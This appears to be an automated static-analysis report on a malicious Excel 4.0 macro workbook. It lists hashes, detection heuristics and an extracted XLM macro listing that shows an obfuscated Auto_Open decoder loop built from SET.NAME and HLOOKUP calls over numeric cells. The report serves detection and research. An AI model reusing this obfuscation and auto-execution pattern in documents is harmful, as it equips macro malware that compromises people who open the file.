Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f4aea956130938b0…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:42 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: a7e591462ddc8599abd01bf6e6f75da8 SHA-1: 8e79a457c79475303a03328691014a817e062ea5 SHA-256: f4aea956130938b03d35838793af07512afaa269f3504454fb16c1169f2fed92
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6954 bytes
SHA-256: 274f2c1b8acd231b38634687b72e3ff7ca68716bbf143ca79977526fa2a14850
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MboDHZVazcw
' 0018     24 LABEL : Cell Value, String Constant - aJMeRbwBd len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A192 
' 0018     21 LABEL : Cell Value, String Constant - BrUdhs len=0 
' 0018     23 LABEL : Cell Value, String Constant - ghIJGwHK len=0 
' 0018     22 LABEL : Cell Value, String Constant - IFKiuOA len=0 
' 0018     25 LABEL : Cell Value, String Constant - nbRwHVvBzE len=0 
' 0018     21 LABEL : Cell Value, String Constant - nFfelB len=0 
' 0018     23 LABEL : Cell Value, String Constant - nHEhCQvH len=0 
' 0018     26 LABEL : Cell Value, String Constant - nRKpskgrQdZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - oDogQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - ouMYQWJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - pAKlpGtL len=0 
' 0018     21 LABEL : Cell Value, String Constant - PjQASD len=0 
' 0018     21 LABEL : Cell Value, String Constant - rfZJPL len=0 
' 0018     24 LABEL : Cell Value, String Constant - sOKzTPDzF len=0 
' 0018     22 LABEL : Cell Value, String Constant - tciHOUE len=0 
' 0018     25 LABEL : Cell Value, String Constant - TSVNYJxfMc len=0 
' 0018     22 LABEL : Cell Value, String Constant - UHmwkVt len=0 
' 0018     20 LABEL : Cell Value, String Constant - vfGDE len=0 
' 0018     27 LABEL : Cell Value, String Constant - vXnUbFVolgLN len=0 
' 0018     21 LABEL : Cell Value, String Constant - zYzgjl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MboDHZVazcw,Q47,"",-225.00000000000000000000
'  MboDHZVazcw,Q48,"",466.00000000000000000000
'  MboDHZVazcw,Q49,"",361.00000000000000000000
'  MboDHZVazcw,Q50,"",952.00000000000000000000
'  MboDHZVazcw,Q51,"",336.00000000000000000000
'  MboDHZVazcw,Q52,"",-910.00000000000000000000
'  MboDHZVazcw,A99,"SET.NAME("ghIJGwHK",0+VALUE("0"))",""
'  MboDHZVazcw,A101,"SET.NAME("zYzgjl",ghIJGwHK)",""
'  MboDHZVazcw,A106,"SET.NAME("oDogQ",ghIJGwHK)",""
'  MboDHZVazcw,A110,"SET.NAME("ouMYQWJ",COUNTA(pAKlpGtL))",""
'  MboDHZVazcw,A115,"SET.NAME("BrUdhs",COUNTA(sOKzTPDzF))",""
'  MboDHZVazcw,A120,[],""
'  MboDHZVazcw,A124,"SET.NAME("vXnUbFVolgLN","")",""
'  MboDHZVazcw,A127,"zYzgjl",""
'  MboDHZVazcw,A129,"SET.NAME("rfZJPL",HLOOKUP("*",pAKlpGtL,zYzgjl,FALSE))",""
'  MboDHZVazcw,A133,"vfGDE",""
'  MboDHZVazcw,A136,"SET.NAME("aJMeRbwBd",ghIJGwHK)",""
'  MboDHZVazcw,A140,[],""
'  MboDHZVazcw,A143,"aJMeRbwBd",""
'  MboDHZVazcw,A148,"tciHOUE",""
'  MboDHZVazcw,A150,"UHmwkVt",""
'  MboDHZVazcw,A152,"nbRwHVvBzE",""
'  MboDHZVazcw,A155,"SET.NAME("IFKiuOA",VALUE(HLOOKUP("*",sOKzTPDzF,nbRwHVvBzE,FALSE)))",""
'  MboDHZVazcw,A159,"nRKpskgrQdZ",""
'  MboDHZVazcw,A163,"vXnUbFVolgLN",""
'  MboDHZVazcw,A166,"oDogQ",""
'  MboDHZVazcw,A171,NEXT(),""
'  MboDHZVazcw,A174,"nHEhCQvH",""
'  MboDHZVazcw,A179,[],""
'  MboDHZVazcw,A181,"TSVNYJxfMc",""
'  MboDHZVazcw,A183,NEXT(),""
'  MboDHZVazcw,A188,RETURN(),""
'  MboDHZVazcw,A213,"SET.NAME("nFfelB",A99)",""
'  MboDHZVazcw,A218,"pAKlpGtL",""
'  MboDHZVazcw,A220,"SET.NAME("sOKzTPDzF",R75C15)",""
'  MboDHZVazcw,A222,"SET.NAME("TSVNYJxfMc",233)",""
'  MboDHZVazcw,A227,"SET.NAME("PjQASD",1)",""
'  MboDHZVazcw,A232,nFfelB(),""
'  MboDHZVazcw,A233,HALT(),""

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